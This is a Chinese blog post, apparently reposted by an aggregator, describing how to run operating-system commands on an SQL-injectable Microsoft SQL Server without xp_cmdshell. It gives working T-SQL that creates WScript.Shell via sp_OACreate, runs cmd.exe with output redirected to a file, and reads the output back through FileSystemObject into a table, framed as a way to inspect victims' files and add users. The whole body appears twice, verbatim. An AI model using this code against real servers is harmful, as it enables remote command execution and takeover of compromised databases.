不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
生活随笔
收集整理的這篇文章主要介紹了
不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
我的BLOG里有一篇文章介紹了關于SQL注入的基本原理和一些方法。最讓人感興趣的也許就是前面介紹的利用擴展存儲過程xp_cmdshell來運行操作系統的控制臺命令。這種方法也非常的簡單,只需使用下面的SQL語句:
EXEC?master.dbo.xp_cmdshell?'dir?c:/'
但是越來越多的數據庫管理員已經意識到這個擴展存儲過程的潛在危險,他們可能會將該存儲過程的動態鏈接庫xplog70.dll文件刪除或改了名,這時侯許多人也許會放棄,因為我們無法運行任何的cmd命令,很難查看對方計算機的文件、目錄、開啟的服務,也無法添加NT用戶。
對此作過一番研究,后來我發現即使xp_cmdshell不可用了,還是有可能在服務器上運行CMD并得到回顯結果的,這里要用到SQL服務器另外的幾個系統存儲過程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服務器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在?Microsoft??SQL?Server??實例上創建?OLE?對象實例。
語法
sp_OACreate?progid,?clsid,
objecttoken?OUTPUT
[?,?context?]
sp_OAGetProperty
獲取?OLE?對象的屬性值。
語法
sp_OAGetProperty?objecttoken,
propertyname
[,?propertyvalue?OUTPUT]
[,?index...]?
sp_OAMethod
調用?OLE?對象的方法。
語法
sp_OAMethod?objecttoken,
methodname
[,?returnvalue?OUTPUT]
[?,?[?@parametername?=?]?parameter?[?OUTPUT?]
[...n]]
思路:
先在SQL?Server?上建立一個Wscript.Shell,調用其run?Method,將cmd.exe執行的結果輸出到一個文件中,然后再建立一個Scripting.FileSystemObject,通過它建立一個TextStream對象,讀出臨時文件中的字符,一行一行的添加到一個臨時表中。
以下是相應的SQL語句
CREATE?TABLE?mytmp(info?VARCHAR(400),ID?IDENTITY?(1,?1)?NOT?NULL)
DECLARE?@shell?INT
DECLARE?@fso?INT
DECLARE?@file?INT
DECLARE?@isEnd?BIT
DECLARE?@out?VARCHAR(400)
EXEC?sp_oacreate?'wscript.shell',@shell?output
EXEC?sp_oamethod?@shell,'run',null,'cmd.exe?/c?dir?c:/>c:/temp.txt','0','true'
--注意run的參數true指的是將等待程序運行的結果,對于類似ping的長時間命令必需使用此參數。
EXEC?sp_oacreate?'scripting.filesystemobject',@fso?output
EXEC?sp_oamethod?@fso,'opentextfile',@file?out,'c:/temp.txt'
--因為fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌
WHILE?@shell>0
BEGIN
EXEC?sp_oamethod?@file,'Readline',@out?out
INSERT?INTO?MYTMP(info)?VALUES?(@out)
EXEC?sp_oagetproperty?@file,'AtEndOfStream',@isEnd?out
IF?@isEnd=1?BREAK
ELSE?CONTINUE
END
DROP?TABLE?MYTMP
?
EXEC?master.dbo.xp_cmdshell?'dir?c:/'
但是越來越多的數據庫管理員已經意識到這個擴展存儲過程的潛在危險,他們可能會將該存儲過程的動態鏈接庫xplog70.dll文件刪除或改了名,這時侯許多人也許會放棄,因為我們無法運行任何的cmd命令,很難查看對方計算機的文件、目錄、開啟的服務,也無法添加NT用戶。
對此作過一番研究,后來我發現即使xp_cmdshell不可用了,還是有可能在服務器上運行CMD并得到回顯結果的,這里要用到SQL服務器另外的幾個系統存儲過程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服務器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在?Microsoft??SQL?Server??實例上創建?OLE?對象實例。
語法
sp_OACreate?progid,?clsid,
objecttoken?OUTPUT
[?,?context?]
sp_OAGetProperty
獲取?OLE?對象的屬性值。
語法
sp_OAGetProperty?objecttoken,
propertyname
[,?propertyvalue?OUTPUT]
[,?index...]?
sp_OAMethod
調用?OLE?對象的方法。
語法
sp_OAMethod?objecttoken,
methodname
[,?returnvalue?OUTPUT]
[?,?[?@parametername?=?]?parameter?[?OUTPUT?]
[...n]]
思路:
先在SQL?Server?上建立一個Wscript.Shell,調用其run?Method,將cmd.exe執行的結果輸出到一個文件中,然后再建立一個Scripting.FileSystemObject,通過它建立一個TextStream對象,讀出臨時文件中的字符,一行一行的添加到一個臨時表中。
以下是相應的SQL語句
CREATE?TABLE?mytmp(info?VARCHAR(400),ID?IDENTITY?(1,?1)?NOT?NULL)
DECLARE?@shell?INT
DECLARE?@fso?INT
DECLARE?@file?INT
DECLARE?@isEnd?BIT
DECLARE?@out?VARCHAR(400)
EXEC?sp_oacreate?'wscript.shell',@shell?output
EXEC?sp_oamethod?@shell,'run',null,'cmd.exe?/c?dir?c:/>c:/temp.txt','0','true'
--注意run的參數true指的是將等待程序運行的結果,對于類似ping的長時間命令必需使用此參數。
EXEC?sp_oacreate?'scripting.filesystemobject',@fso?output
EXEC?sp_oamethod?@fso,'opentextfile',@file?out,'c:/temp.txt'
--因為fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌
WHILE?@shell>0
BEGIN
EXEC?sp_oamethod?@file,'Readline',@out?out
INSERT?INTO?MYTMP(info)?VALUES?(@out)
EXEC?sp_oagetproperty?@file,'AtEndOfStream',@isEnd?out
IF?@isEnd=1?BREAK
ELSE?CONTINUE
END
DROP?TABLE?MYTMP
?
總結
以上是生活随笔為你收集整理的不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 足球讨论群 塞维利亚VS佛罗伦萨?
- 下一篇: 王者荣耀赵云未来纪元皮肤多少钱